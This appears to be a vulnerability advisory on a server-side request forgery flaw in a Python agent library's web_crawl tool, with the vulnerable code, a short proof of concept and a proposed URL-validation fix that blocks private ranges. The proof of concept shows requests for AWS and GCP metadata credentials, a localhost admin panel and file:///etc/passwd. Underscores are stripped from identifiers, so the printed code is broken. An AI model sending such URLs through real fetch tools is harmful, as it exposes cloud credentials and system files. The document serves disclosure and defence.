# web crawl tools.py:182-234
def web crawl(
  urls: Union[str, List[str]],
  provider: Optional[str] = None,
) -> Union[Dict[str, Any], List[Dict[str, Any]]]:
  # Normalize to list
  single url = isinstance(urls, str)
  # ...
  url list = [urls] if single url else urls
  
  # No URL validation whatsoever — urls flow directly to providers
  
  if selected == "tavily":
    results = crawl with tavily(url list)
  elif selected == "crawl4ai":
    results = crawl with crawl4ai(url list)
  else:
    results = crawl with httpx(url list) # Always-available fallback

# web crawl tools.py:140-150
try:
  import httpx
  with httpx.Client(follow redirects=True, timeout=30.0) as client:
    response = client.get(url) # Line 143: fetches ANY URL, follows redirects
except ImportError:
  import urllib.request
  with urllib.request.urlopen(url, timeout=30) as response: # Line 149: supports file://
    content = response.read().decode('utf-8', errors='ignore')

from praisonaiagents.tools import web crawl

# 1. Cloud metadata theft (AWS IMDSv1)
result = web crawl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
print(result["content"]) # Returns IAM role name

# Use the role name to get credentials
result = web crawl("http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole")
print(result["content"]) # Returns AccessKeyId, SecretAccessKey, Token

# 2. Internal service probing
result = web crawl("http://127.0.0.1:8080/admin")
print(result["content"]) # Returns admin panel content

# 3. Local file read (when httpx is not installed, urllib fallback)
result = web crawl("file:///etc/passwd")
print(result["content"]) # Returns file contents

# 4. GCP metadata
result = web crawl("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")

import ipaddress
from urllib.parse import urlparse

 BLOCKED NETWORKS = [
  ipaddress.ip network("127.0.0.0/8"),
  ipaddress.ip network("10.0.0.0/8"),
  ipaddress.ip network("172.16.0.0/12"),
  ipaddress.ip network("192.168.0.0/16"),
  ipaddress.ip network("169.254.0.0/16"),
  ipaddress.ip network("::1/128"),
  ipaddress.ip network("fc00::/7"),
  ipaddress.ip network("fe80::/10"),
]

 ALLOWED SCHEMES = {"http", "https"}

def validate url(url: str) -> str:
  """Validate URL scheme and block private/reserved IP ranges."""
  parsed = urlparse(url)
  
  if parsed.scheme not in ALLOWED SCHEMES:
    raise ValueError(f"URL scheme '{parsed.scheme}' is not allowed. Only http/https permitted.")
  
  hostname = parsed.hostname
  if not hostname:
    raise ValueError("URL must have a valid hostname.")
  
  # Resolve hostname to IP and check against blocked ranges
  import socket
  try:
    addr info = socket.getaddrinfo(hostname, None)
    for family, , , , sockaddr in addr info:
      ip = ipaddress.ip address(sockaddr[0])
      for network in BLOCKED NETWORKS:
        if ip in network:
          raise ValueError(f"Access to private/reserved IP range is blocked: {hostname}")
  except socket.gaierror:
    raise ValueError(f"Cannot resolve hostname: {hostname}")
  
  return url

def web crawl(urls, provider=None):
  # ... normalize to list ...
  
  # Validate all URLs before fetching
  for url in url list:
     validate url(url)
  
  # ... proceed with provider selection ...